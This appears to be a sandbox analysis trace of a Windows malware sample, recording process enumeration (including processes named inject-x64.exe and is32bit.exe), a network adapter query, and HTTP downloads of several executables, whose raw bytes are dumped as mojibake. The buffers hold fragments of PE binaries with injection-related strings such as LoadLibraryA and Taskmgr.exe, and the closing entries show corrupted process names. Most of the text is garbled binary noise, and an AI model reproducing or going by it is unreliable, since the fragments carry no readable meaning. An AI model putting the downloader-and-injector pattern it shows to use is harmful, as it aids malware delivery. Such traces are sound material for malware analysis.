1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: mscorsvw.exe
process_identifier: 2424
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: sppsvc.exe
process_identifier: 1140
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: cmd.exe
process_identifier: 2112
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: conhost.exe
process_identifier: 792
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: pw.exe
process_identifier: 2576
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: Rufaecolufo.exe
process_identifier: 2488
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: conhost.exe
process_identifier: 1976
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: pw.exe
process_identifier: 1448
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: is32bit.exe
process_identifier: 2796
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: inject-x64.exe
process_identifier: 108
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: foldershare.exe
process_identifier: 1060
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: is32bit.exe
process_identifier: 560
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: inject-x64.exe
process_identifier: 2120
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Time & API Arguments Status Return Repeated

InternetReadFile

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $I4€! Uîr Uîr Uîr>êsUîr>ísUîr>ësŸUîr:êsUîr:ísUîr:ës$Uîr>ïsUîr UïroUîrË:çs UîrË:r UîrË:ìs UîrRich UîrPEd†\Ì<að" zŽ|7@P`TÔ(0è´@œе8¶0¨.text¥yz `.rdataTMN~@@.dataŒà Ì@À.pdata´Ø@@_RDATA” î@@.rsrcè0ð@@.relocœ@ò@BH 9yéÌ$ÌÌÌÌHAíÃÌÌÌÌÌÌÌÌH‰T$L‰D$L‰L$ SVWHƒì0H‹úHt$`H‹ÙèÊÿÿÿE3ÉH‰t$ L‹ÇH‹ÓH‹è<‚HƒÄ0_^[ÃÌÌÌÌÌÌÌÌÌÌÌÌ@SHƒì H‹ÙH‹ÂH õ‚WÀHSH‰ HHèc1H‹ÃHƒÄ [ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌH‹QH%H…ÒHEÂÃÌÌÌÌÌÌÌÌÌÌÌÌÌH‰\$WHƒì H—‚H‹ùH‰‹ÚHƒÁèš1öÃt ºH‹Ïèì#H‹\$0H‹ÇHƒÄ _ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌHQ‚H‰HƒÁéY1ÌÌÌÌÌÌÌÌÌÌÌÌÌH±HÇAH‰AH¾‚H‰H‹ÁÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌHƒìHHL$ èÂÿÿÿH³ÂHL$ è!3Ì@SHƒì H‹ÙH‹ÂH ՁWÀHSH‰ HHèC0HX‚H‰H‹ÃHƒÄ [ÃÌÌÌÌ@SHƒì H‹ÙH‹ÂH •WÀHSH‰ HHè0HH‰H‹ÃHƒÄ [ÃÌÌÌÌH‰\$H‰t$WHìpH‹çÍH3ÄH‰„$`3öÿ<~‹ø3ҍNÿï}H‹ØH‰D$ HƒøÿtF3ÒA¸0HL$0è·4ÇD$00HT$0H‹Ëÿ}…Àt9|$8tHT$0H‹ËÿÁ}ëæ‹t$PHƒûÿt H‹Ëÿ´}‹ÆH‹Œ$`H3Ìè‚Lœ$pI‹[I‹sI‹ã_ÃÌÌÌÌÌÌÌÌÌÌÌÌÌH‰\$WHìH‹ÍH3ÄH‰„$€H‹Ù3ÀH‰H‰AH‰A3ҍHÿ}H‹øH‰D$ Hƒøÿ„‹3ÒA¸0HL$Pèâ3ÇD$P0HT$PH‹Ïÿ¬|…Àt_„LD$XHT$|HL$(èÜH‹ÐH‹KH;Kt è*HƒC(ëL‹ÂH‹ÑH‹Ëè¥HL$(èKHT$PH‹Ïÿ¥|…Àu©Hƒÿÿt H‹Ïÿš|H‹ÃH‹Œ$€H3ÌègH‹œ$¨HÄ_ÃÌÌÌÌÌÌ@SHƒì H‹QH‹ÙHƒú
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: rSÑ<¡ö?ÀЈ:G‘ö?hhö?g6Ÿqö?ù"Qjìaö?£J;…ORö?d! YÈBö?ÞÀŠ¸V3ö?@bwú#ö?”®1h³ö?X`ö?ü-)4döõ?çи[çõ?¥âìÃgØõ?W“+ˆÉõ?‘úGƼºõ?ÀZk¬õ?ªÌ#ñaõ?íX0Ҏõ?`XV€õ?:kP<íqõ?âR|º—cõ?UUUUUUõ?þ‚»æ%Gõ?ëôH 9õ?K¨Vÿ*õ?øâêõ?ÅÄá"õ?PPõ?›LÝbóô?9/§àåô?L,ܾCØô?n¯%‡¸Êô?ᏦÝ>½ô?[¿R Ö¯ô?Jv­¢ô?gвã9•ô?€H"ˆô?{®Gázô?f`Y4Îmô?šÏõÇË`ô?ÊvÇâÙSô?ûÙbeøFô?Mî«0':ô?‡Õ%f-ô?QY^&µ ô?ô?feтô?û°?ûó?¯¥Bîó?©ä¼,âó?Æuª‘ÙÕó?ç«{¤•Éó?U)#Ù`½ó?;±;±ó?"Èz8$¥ó?c,™ó?ŽfÓ"ó?88ó?îEÉÑ[uó?HÞóió?ø*Ÿ_Î]ó?Áx+ûRó?Fà¬yFó?²¼W[ä:ó?újí\/ó?¿+Jã#ó?¶ëéXwó?Ñ0 ó?`Ä*Èó?h/¡½„öò?KÑþ¡Nëò?—€KÀ%àò? P- Õò? ,MûÉò?7ZŽù¾ò?@+­´ò?Áó’©ò?žä)Ažò?¥¸[r“ò?°ˆ°ˆò?MΡ8ú}ò?5'¸Psò?'Ö|³hò?ñ’€p"^ò?²w‘~Sò?’$I’$Iò?[`—·>ò?ß¼šxV4ò?* "*ò?xû!·ò?æUH€yò?ÙÀg G ò?  ò?pÁ}÷ñ?L¸<ôìñ?t¸?;ïâñ?½J.gõØñ?¢­Ïñ?Yàü"Åñ?)íF@J»ñ?ãºòg|±ñ?–{a¹§ñ?žàžñ?œ¢Œ€S”ñ?Û+ƒ°Šñ?ñ?„ÖŠwñ?ysB‰nñ?2üPdñ? 'u_[ñ?ÉÕý£¹Qñ?;Í _Hñ?$G4?ñ?È5È5ñ?¬À퉋,ñ?30]çX#ñ?&H§0ñ?ñ?€¾ûñ?ðþðþð?¢%³úíõð?œækõìð?`‚Uäð?–F¨ Ûð?:ž5VDÒð?;Ú¼OqÉð?qA‹†§Àð?ȝ%ìæ·ð?µì.r/¯ð?§h ¦ð?`ƒ¯¦Ûð?T 9?•ð?âeu³«Œð?„B!„ð?âê¸)Ÿ{ð?Æ÷G &sð?ûyœµjð?ü©ñÒMbð?†ur îYð?4×÷—Qð?ÅdÌIIð?AAð?üG‚·Æ8ð?^µ‘0ð?é)wüd(ð?@ ð?7zQ6$ð?ð?€ð?ð?log10ÿÿÿÿÿÿ?Cÿÿÿÿÿÿ?ÃUnknown exceptionbad array new lengthabcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZpidhtmpfile.tmp.dllpidHTSIGwbTaskmgr.exekernel32.dll%uLoadLibraryAvector too longstring too longMZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $šˆÞévMÞévMÞévMʂrLÕévMʂuLØévMʂsLGévMՆrLÐévMՆuL×évMՆsLýévMʂwLÝévMÞéwM¼évM†LßévM†‰MßévM†tLßévMRichÞévMPEd† Ì<að" ¶øTZ€`¬z(àà°Üð„X8ÐX0А.textŵ¶ `
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $AÍå¬h¶¬h¶¬h¶Çl·¬h¶Çk· ¬h¶Çm·½¬h¶½Ým·"¬h¶½Ýk·¬h¶WÙl·¬h¶WÙk·¬h¶WÙm·_¬h¶Çi·¬h¶¬i¶×¬h¶°Ùa· ¬h¶°Ù—¶¬h¶°Ùj·¬h¶Rich¬h¶PEd†Unoað" P>t. @`€LëxÀ8ð¼Ðì @_pa(°_8`0.text@NP `.rdata`žT@@.dataDîºò@À.pdata¼ð¾¬@@_RDATAô°j@@.rsrc8Àl@@.relocì Ð"p@BHƒì(è—b H àGHƒÄ(é ÌÌÌHƒì(H ™¨è0ï H mIHƒÄ(éì H ÅIéà H ]IéÔ H &ªéÄ÷ Hƒì(H ªèìî H ÑIHƒÄ(é¨ Hƒì(A¹HoªE3ÀH õ©è÷ H ­IHƒÄ(éx Hƒì(¹èöfH‹ÐH 8ªèCö H ÔIHƒÄ(éK ÌÌÌHƒì(H •«èlî H ýIHƒÄ(é( H ­Ié ÌÌÌÌ·qH âIf‰£ï¶nqˆ˜ïéñ ÌÌÌÌÌÌÌÌÌH )JéÜ ÌÌÌÌH ™JéÌ ÌÌÌÌHƒì(€=ÆÄu èΫ Æ¸ÄfooŸHðžE3ÀH‰æÄH çÄóçÄAPèf­ 3ÉH‰åĉ çÄHÇH‹ÑÄH‰HH .JHƒÄ(éM ÌÌÌÌÌHƒì(€=FÄu èN« Æ8ÄfoïžHpžE3ÀH‰–ÄH —Äó—ÄAPèæ¬ 3ÉH‰•Ä‰ —ÄHÇH‹ÄH‰HH îIHƒÄ(éÍ ÌÌÌÌÌHƒì(€=ÆÃu èΪ Æ¸ÃfoožHðE3ÀH‰¶ÃH ·Ãó·ÃAPèf¬ 3ÉH‰µÃ‰ ·ÃH‰H‹¥ÃH‰HH ²IHƒÄ(éQ ÌÌÌÌÌÌÌÌÌé[ª ÌÌÌÌÌÌÌÌÌÌÌHƒì(E3ÀH 2îAPèy` Hƒ=1îH‰2îv*HÇH‹ "îL‹îHƒÁIƒèt IÁà3Òè¾ H wIHƒÄ(éÖ ÌÌÌÌÌÌÌÌÌÌÌÌÌÌHƒì(E3ÀH ¢í3Òè ` H „IH‰¥íHƒÄ(éœ ÌÌÌÌHƒì(H ½íèàÇ H ÐíèÓÇ ÆäíH …IHƒÄ(éd ÌÌÌÌÌÌÌÌÌÌÌÌHƒì(H Ííè€ H ðíès ÆîH ÅIHƒÄ(é
request_handle: 0x00cc0018
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@躴 Í!¸LÍ!This program cannot be run in DOS mode. $uÀ)1¡GV1¡GV1¡GVg:V%¡GVg*Vh¡GVò®V0¡GVg)V¡GVò®V6¡GV1¡FVR¡GVg5V0¡GVg?V0¡GVRich1¡GVPELlö|aà À`%Ð@@'…ˆõP0°
request_handle: 0x00cc0034
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@ິ Í!¸LÍ!This program cannot be run in DOS mode. $Ua÷“™À™À™À~v2À?™À~vÀ3™À~v3À•™Àx À™À˜À™À~v6À™À~vÀ™À~vÀ™ÀRich™ÀPEL§–`à  FK0Ð @ O2äÌPPNˆÑ0O 0èÃ@à.textH `.data°J  @À.nefaå@N"@À.rsrcˆÑPNÒ&@@.relocöc0Odø@Bü  8 F R b z ˜ ° ¾ Ø ì ü  ( 6 H V n „   ¸ È Ü î þ  0 B ` |    ´ Ä Ö ø &6Rh~˜®ºÒêü *>Rjzž, 2Hd|”¤¸Ìè*@RbŠ˜°ÊÚð 8F`z†žªÀÐæö"4FXn~œª¶ÎÚî:ÖÆòÀÓA°ÜAÀoB0ÅB C€1BãB`íCÞA'ga.HÄH¸vscanff:\dd\vctools\crt_bld\self_x86\crt\src\scanf.c(format != NULL)fmodTÉAöÙAÙAöÙATÙAöÙAÙAöÙAÙAÙA·ÙAÙAöÙAöÙAÙAöÙAð?ð?33ð¿0C€€ÿ( (_Stream->_flag & _IOSTRG) || ( fn = _fileno(_Stream),
request_handle: 0x00cc0030
1 1 0

InternetReadFile

 buffer: MZPÿÿ¸@º´ Í!¸LÍ!This program must be run under Win32 $7PEL^B*à žÐø¥°@Ð@@ÐP (¿ðCODE0ž `DATAP°¢@ÀBSSÀ¦À.idataP Ð ¦@À.tlsà°À.rdatað°@P.relocÄ@P.rsrc(¿À²@P@è@P string<@m@Ä)@¬(@Ô(@)@ $)@Free0)@ InitInstanceL)@CleanupInstanceh(@ ClassTypel(@ ClassName€(@ ClassNameIs¨(@ ClassParentÀ)@ ClassInfoø(@ InstanceSize°)@ InheritsFromÈ)@Dispatchð)@ MethodAddress<*@ MethodNamex*@ FieldAddressÄ)@DefaultHandler¬(@ NewInstanceÔ(@ FreeInstanceTObject@Í@ÿ% Ñ@‹Àÿ%Ñ@‹Àÿ%Ñ@‹Àÿ%Ñ@‹Àÿ%Ñ@‹Àÿ% Ñ@‹Àÿ%Ñ@‹Àÿ%(Ñ@‹Àÿ%Ñ@‹Àÿ%Ñ@‹Àÿ%üÐ@‹Àÿ%øÐ@‹Àÿ%ôÐ@‹Àÿ%ðÐ@‹Àÿ%ìÐ@‹Àÿ%èÐ@‹Àÿ%äÐ@‹Àÿ%àÐ@‹Àÿ%ÜÐ@‹Àÿ%ØÐ@‹Àÿ%ÔÐ@‹Àÿ%@Ñ@‹Àÿ%<Ñ@‹Àÿ%8Ñ@‹Àÿ%4Ñ@‹Àÿ%0Ñ@‹Àÿ%ÐÐ@‹Àÿ%ÌÐ@‹Àÿ%ÈÐ@‹Àÿ%ÄÐ@‹Àÿ%ÀÐ@‹Àÿ%¼Ð@‹Àÿ%¸Ð@‹Àÿ%´Ð@‹ÀSV¾8Ä@ƒ>u:hDjè¨ÿÿÿ‹È…Éu3À^[á4Ä@‰‰ 4Ä@3ҋÂÀDÁ‹‰‰Bƒúduì‹‹‰^[Љ‰@ËÀSV‹ò‹Øèÿÿÿ…Àu3À^[ˉP‹V‰P ‹‰‰X‰B‰°^[ËP‹‰ ‰Q‹8Ä@‰£8Ä@ÃSVWUQ‹ñ‰$‹è‹]‹$‹‰‹P‰V‹;‹C‹ÐS ;u‹Ãè·ÿÿÿ‹C‰‹C Fë‹V;Âu ‹Ãèšÿÿÿ‹C F‹ß;ëu‹֋ÅèUÿÿÿ„Àu3À‰Z]_^[Í@SVWUƒÄø‹Ø‹û‹2‹C;ðrl‹ÎJ‹èk ;Íw^;ðu‹BC‹B)C ƒ{ uD‹Ãè5ÿÿÿë;‹ ‹r΋ø{ ;Ïu)s ë&‹ J‰ $+ù
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL'þúà" 0L¼¾j €@ ` @…pjK€x¸@  H.textÄJ L `.rsrcx¸€ºN@@.reloc @  @B jH@æ0„˜+DqÙ),—%$KÕ-–‰×sL~%’þƒ½~82„êÉTGwŽŒ7, üm,p^.k-°|%Yàł®IšT£K ¸)Ãý·Ž!ɦQÁ›ð OČ+d z ÁÓý3ä™Ï ¥Ð¹…>2;ã; L¤ÐöõkðFK}àáÆÉ­¶¢¿z*à}Üӓ €ÂåàZxÎy ϑóÚJÊIB‘Äւo®‘8)<ê°²“}œK÷ø]ÜX4}—|zDxÒ¤X›íBÚóùAsñ=>ÂMŽqƒôkŽE“ñÕª_W ½{Ju¦·C—› +{øSíjƒ}ºØ]ž›0T°¥q0¯‚ ÿ7‰Ê¡{Õkq§OäMiœøzØõ¢úOqè¥qþÖCØÕ¬‹“1=j¥ uÄê²ñ=å“KrÝwƒvÓ´š-Í@ezòaw^ (/µxČú‡¥ö°!îƒËu+”+-‡ô1 _’eç6À-¾%FÔ~ÏÇɑ8}þùBY¾1ïûð‘&ÊV¶=G®M/à!Gàá÷Ã?i
request_handle: 0x00cc000c
1 1 0

recv

 buffer: HTTP/1.1 200 OK Date: Fri, 05 Nov 2021 00:18:17 GMT Server: Apache Last-Modified: Mon, 01 Nov 2021 16:41:58 GMT ETag: "59a00-5cfbcdaf76180" Accept-Ranges: bytes Content-Length: 367104 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELž €aà" 0x î–  @ à@…˜–S ØÀ  H.textôv x `.rsrcØ z@@.reloc À˜@BЖHÐsÈ"’>Y0¢{¾7îV™<V’ú8è;Ù´¬4«–ʧa!;†Øi×ðS匋yñ³)”vrd“6«‹‡ìeJ½U•ùuCR†yص•žgSWfW!Jà ®}¸ÒàÒ=¹Á_¡;¼äҎ£Öå œï ^7ÆÍb¢»+ÐO2 ¡%…˜ p…î'O0\_@Ó²ã=‡Ÿ¥ßb™òìÇÿx¡ŽsÚü>Þðj’êÂÂB˜H0çŒÁËwI¦êÂ-ø½·H"½U»CQùÇÒîvÐI¢bâ°ûŽï ÕÚÑh•ýEñòC=Ĝ7HǞ@,½«F°Äfæì箛ªU¾ ¨zîÐu‹—Œüª•†·‘I‡ â‘3éR,üÙAÒµ£ŽàgîÖ$Êr,0ûYR9+âÓïENh‚áü[³u‹ô6›Jž¬NÏ××NoÒþH]—“¢*êoÐX‰aÀDôêì]mÁ£N¯!)äͿ͵oåµ'{Ài5‹Àð6Uƒ·Ià¦E5\ü÷ØTuu~¿í¸IQD Å»QG›°ûB-RÚ\N\ž¥`ahøüs|{E¶¼)8¾Á*ÀŠ°bgÞ¶I”¾9(#ÂÑùqÞÒOë‘ù™«ô1ÌnÒ.õô‹Tñҍ×$¹[ˆÒû̔û’ÄCg7qǞ }"•D »9 Qé8Þ4AÞM-eOPÄÒÞi Cg뼌æWíYÖæë9.þºïZR/¿òcJîD½]Xn¤IÚWœ‡LIø‘dòçá—ûٛìäp¹-}+„î៯'à”Eì¼¢$GއRßD1ðˆUÀ†‹­~{¶T}ÂHkc]»ÿÚ¨bŠ'|IÛ ÕK÷8´ºØ¥Wõ:ò*w .+ˆúšXQ#3‚fU”Úp/öŽ—:`æ¬Ðã÷£%¿!yVdñXÉL‹l—‚ ¥Ð€Å’C0¶¬ù%Å°óKÑ_´³zH^êúÞ™æg6×Y¶{t2|ãœâ,éöÔ)ô5€ÑãÉ_ˆ[Ø¥±œc9Ò²¾O§¼ÀÓOÅSO&2¬Þ×ÔÈÏ_@*a×½H«ÏÌå¶zìišäΖ‡æ[|§Ó˜ŒTãZ?#”žFn42¼ÙFÚj7Å ~ÇSuŒmkY³7r€S¼Î°&ÞÒ¢˜w<ÓýϕÀ”¡²Ù(^ö*µàfÆÍW”í!Ó=»»;Ӓùþg 8‡¾"7@^0u!{Ç¡A09.Ór¼2N =à¦Ò#s«~¨‚?ÇÁE,GŽ_LSÖ_eµÊg’Ε•º ñ¯ðd°2XÍù˜ÌŽ¤0$3 ÷)$'C’9Em#s«~¨‚?ÇÁE,Ò?(éÐv“ð—ß,ãñÆ —*¿+HÚ,P›ÓsÒyoºýÜN̂)òmLà,bÕ§É#¨`S#×ÛÀ“ÊÈ ££ðí®û¾xÒÒ!mBŸ‚å.¶«'"¶rÕžÛõheæb–÷pçÙÓsy=ç·U¸Éé_U%û¤RéW „ñCP'O‚wìQ0yÇ 8µ¹ÕU’=SÐÿ¿KŠÏKá´­¡1g-fà 6<lRh½aGU¬¾+8$…¹)È Â“ÏŠMΉÞOPðór)¨·¥PÖ;á|cÖV쇵.î³ô&[ûä ¾-†àÊùÅÚ5¨€•ŠSP-¬6QüHu;›`ûã5&£¡/ψ%¥Ý¸æh”%êŒ÷äáró`Ú¼wÌ®Bdíܾ“±[Ô¢ÐÛBM,.>^±¾ÙOÝEQ3·¤ó'îß xr«~ÿóZRR…g©© *&5"LÍA©¿Â½/fÌÔ 4+óðHöé·×» –bñnbö؁‰ƒëCi¦ø`f ×{{³Ö.\9Çné%Š“Ý9̔èþrãûGô!Cÿ&éÌ’»^GyK©7â>*ì?`jméhÛMï].)Ú.¶àG›Yì#äœËxµ ¶¹ó=]Tó !‚æèÌÌ%jð¬vb™Ìž:íV}Ž‘rž â¦LF™d®é©çu¹î§%Áy‰ÎØ»©ÊøÞ¶œúÇiåc¸$þ˜8ØjsÚ%b5vØÿÂhN ¬ó¬# ò†ˆxÑ~øŒ‹O¹±ðäU/ÙAº»rE,š”潪Ê>réƒz·™KÕ)بH p•íY¡O${~¢ü˜æ”y‚#/mØÌ7Ë·ò¹¢z<‰1(HÜLÓÀXX“ê—4˜³”A) ©ª£Óc A¤I0Ù¯ÈÅ^M„§êwÒ‘úºeò7U–^÷bõ±ÖR` #î´¸”ꥨ¦6'4±½•¬J¤gt÷šÝ xí¾(Ïu¨"œŠ®©XÂ&\ߘ }ïÃÕMÓüO:3“¬™l¡0]•Â€>iC\ë=ŽXÁãßk¶ÞþõÍwwQ7ñ,Š õi襝}PrYl¶ý î89›{º¯Dr£ä=MÄé {àÿ;·þC…á9¼ ¥®¡ö,õàûJ¾*m5Pbü1'nÆ«S(\&úÁëz`çÓaŸqß­dTBÛ´,¾#-œJ0’m„““üu„*ðYÌYªu»á™Ë&KŒú~ŽF8*Ÿ™$°¸Øã{Ð J
received: 2920
socket: 1444
1 2920 0

recv

 buffer: HTTP/1.1 200 OK Date: Fri, 05 Nov 2021 00:18:25 GMT Server: Apache Last-Modified: Mon, 01 Nov 2021 16:08:48 GMT ETag: "88400-5cfbc645a6400" Accept-Ranges: bytes Content-Length: 558080 Content-Type: application/x-msdos-program MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELè€aà" 0pΎ  @ à@…€ŽK @À  H.textÔn p `.rsrc@ r@@.reloc À‚@B°ŽHH#8k™Y×ïd’ð‡uÙqø’ß+8_WCr]E÷Ìx:.1\í(ìÄf 5¥Ã[š‚–?m””í­jOc¢áÚaÄ¿ãrÓxt7X£Vu˜T€´Q<Ð4æ¬ËÝ ˆ±ï=Ó­` ÁÈÞr“ˆO­ÖÏävúï&2ìà`ï™ó÷|¾nȑ .r0“ޏE‡êj¸ˆ×):2Y´ÊØWÀ™(b½ÜÿVÄ.ÄCw$ Œ9½wmákB"Éa¦Ñ<š<•nǜ⡢4S üü/1:Lzâ ç8{m0u07¯l={éÏ©êÊã±bëñÌÍ"£•3çï‡|i.I!dç™ ™‚ó+O™ò5õ$÷á»"h¯Ç 4:è,€æ¯Ú@*›š¶¸|ƒ¿ ¶ïNâwҜ™+ÛIyvG|CA‚ãb(Uó§Dáºtü’q=î+sÌAãÇùjÌ[ädéõø%¯@3•Î^E÷G;h­èMv—’ò…†«³ãĶŽvwÓ¢QÈßìàÒ^—òÝ`oéÇ> AÓÁ^wì~F‰³T9ÔÔÂéÛ Æ?|ÊCçoã•ísøê9Ò†¥¡7ÆIº£"ÁØ«ëb¨¨C{/9?TD ބKÓ¤›oÆ Ó0ÂKIa[F±í…å)$¹š”E²@âþBÇçmƒó+Íob>Qªªí+¾$âÄî4 ý»Ô\¥}mÈ0ð?í±ö~™~ðdwҌ½‘iŠÓ¡©;-¯Á{N$øèkŠ{«Ã^ùƒ×Ž}ü¾µ‘ᐉ»Zf[˞°6™ÚŠÂ~Î<®` íFøŠJü½ÔÅ"V¾¹ 9ÎÚȉºYòT…[]ýœ!ê¿H¯Ü·™“ßrµ±SíðYªü …ú©®W‰ý®î!­X ÿáë‘rÀ•`p%‰¼‹#3«nö"Ì}vsÛ°A{0‚UùA°8>£­ÿm]tœ íÓÖK!k…úD_ÒæZ ŒOÈÔñ`Ƈ;»–†ð~O}5Xé%_Lˆ]û¢µô€î·e„Û }6m+9»i!fÄHK^§sµ¯Éýèðۘ`ô6^‘YõåÚÞq£ ’ü±Å›ó*ĪÈx͖“?’Eè¡É(Í£FûŒ'ÐÔ?8 3?x Å¡cJ<hPÌWsƒÿÑÜKìñS½.\XJÍ8îç7±¯0â«ÇÄ?l»ëp!sZ©=•±ō(Šöð RÞyè6ÒöÎñžE@P¶z³©­ÿX®¥«ß܎¿Z}%5%~®™ 7áu<áDiBzÆn(°•îÌi`:™úU&á Óh¾ÑX;7bŒz꧷†nèÑÛ9uso´œ î¬ ús&[ÞWðb^ÜÅÈÏ8d—–gÍ Ud1ªÎ¬9­üEôüŽý‰=Õ}¥ÙÉÒåǼ%՗„#ev,‡qiïÐÜLpsjje¦WgnžAF~÷{ÒAÎß_=tv±5C4O'ñ²£‚[֒“xĕ1¤BƒæQyž:µQBŸóñCYo=7‹’-üG.<X߀ÄÁ,u‚‰"†…Ê+jºq¦TŸŸ RÁö¿ É„“Ñ>{`×EŸÚÀÖØF¹ê«á”œ_h¿Ôr„x~ÖN¸ði®ŽdÄé€UO*‚m<gN‡¶·ÿ6\ñ4'€Ô)F±Ñx«è¤—ƒÈ_·ö>êêƒt¸p¯TCíÀÂA±¼8F/Öp«xʲlí,U±Ÿ‘"K´Ñ%ëcR©RVm•ÊÒèIÿ*#ÍæºO:º×lu±ýؔŽ3#÷¢rê+רѽ †ŠÉ¸™QÒÙ^îôÚɳúiIøæIçfÐœ®–³£åCö&™ âOHq,­_yóªVÌÿk2Ü0ºí<쉳˜O ÞéP+ÕX·+²®d‚b/&ö ë§õ\¹kx͂¤±¹Pð-Ž`¯Å7Ķ‘…Ð6S‚©€ŠÈêû}˜´¨þPŽ!тD†éO„¬Ï§Ìg×­1Ÿ0îô;ˆYHüG¶^1§<ž^Ei×;†Áí+9ˆxá[h}kñþfÊ >µbˉâðéñ”vހ² ï@vŸáUÑu³„¿«¥àt~…¥­‰aû¸)pÌëE£ÞÁ/ÿ&C¡öÒŸÒ€ª|ÕwBØh‚X?Tù9äê¹T¡jųÃÜõžˆCi×öÔô$Fƒî‰ÊÞ4•”lG!ÿ9ŠÊ R ¹rHùõ"| û«íH„ó¦ñ+(|™‚\_k[cK@RJ ºòžþ‘!D!«~ï¾Óςëýá ?è*'J¤•&T ~{oª]õ†¡ízçCàÀ¶XƒMÊcÏ>qZ½ ©ÑÅýž ôJ§•8y‹¡˜UÙ›éYUNõÈTžSÖå}õùÝ}ñI.ua7©Õ‡È$ ¾s h”‡AB™y}ȶävMoå«Q”à#`;b6$€áæù™Ç”"gWO¸£È ª§•¾ª¾«w™Sýá]•H^ãÓ5óy<oK^‡ ï_Á¦ +øMc›gå3b¬±çè™f`ªËp¾~Qþë þ¼Ì( Pnû™!Õïʤ©Q٠ޘ†…ikÏÓ,‚‚䟂¼güz¯hðÑ*'ç38Zx-Ï0ê‰"äM’æ8”(¿%bД²ÃB #ñ9|¤Õoן=ÀêJEàÎQ9´jó}˜ç«¥J
received: 2920
socket: 1444
1 2920 0

recv

 buffer: HTTP/1.1 200 OK Date: Fri, 05 Nov 2021 00:18:30 GMT Server: Apache Last-Modified: Mon, 27 Sep 2021 13:36:56 GMT ETag: "bc800-5ccfa30ca2e00" Accept-Ranges: bytes Content-Length: 772096 Content-Type: application/x-msdos-program MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELå Qaà" 0 ¼Ú( @@  @…ˆ(O@”¸ P'  H.textà  `.rsrc”¸@º @@.reloc Æ @B¼(H´/´hMèÙ6( (*0’rps %rpo r'po r?po rIpo rSpŒ-o rpo o r]po o ¥1, rups zÞo r«p( &Þ*ž{o {o {o (*0(s o 3{o! o" *&&*ò{o# o$ 1{o# o% o& (&*r¹p(' &*0Qrñprpr-p(( s) r1po o r]po o ¥1 Þ ,o* Ü*)E (*0µ{o+ o, rñprps- s. o/ o0 +co1 t 6%r?po2 t6¢%rIpo2 t6¢%r'po2 t6¢s3 {o+ o4 &o5 -•Þ,o* Ü,o* Ü*1o  %…ª 0(s o 3{o! o" *&&*0z{o# o$ 1[{o# o% o6 o7 o8 (9 o6 o7 o8 (9 r?po6 o7 o8 (: &*r¹p(' &*z,{, {o* (; *0I Ð(< s= s> }s? }s? }s? }s@ }s@ }sA }sB } s@ } sB } sC } sA }sA }sD }sC } sB }sD }{ oE {oF { oE {oF (E {oG {oH %{¢%{¢%{¢oI {oJ {oK {.sL oM {sN oO {rYpoP {  ÜsQ oR {oS {oT {oU {oV {r?poW {hoX {rIpoW { oX {rmpoW {}oX {oY {`sL oM {sN oO {rwpoP {WsQ oR {oT {r…po" {oY {@sL oM {sN oO {r¡poP {WsQ oR {oT {r¯po" {oZ {x<sL oM {sN oO {rÉpoP { _sQ oR {oT {råpo" { o[ {  + sL oM { sN oO { rípoP { dsQ oR { oT { rûpo" { o\ { þs] o^ { oY {  sL oM { sN oO { r poP { _sQ oR { oT
received: 2920
socket: 1444
1 2920 0
process cube_ww14.bmp
process jm9wzqu48oxjzdkc5i0a7tt4.exe
Time & API Arguments Status Return Repeated

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

 snapshot_handle: 0x0000000000000028
process_name: jm吐眞
process_identifier: 2492
0 0

Process32NextW

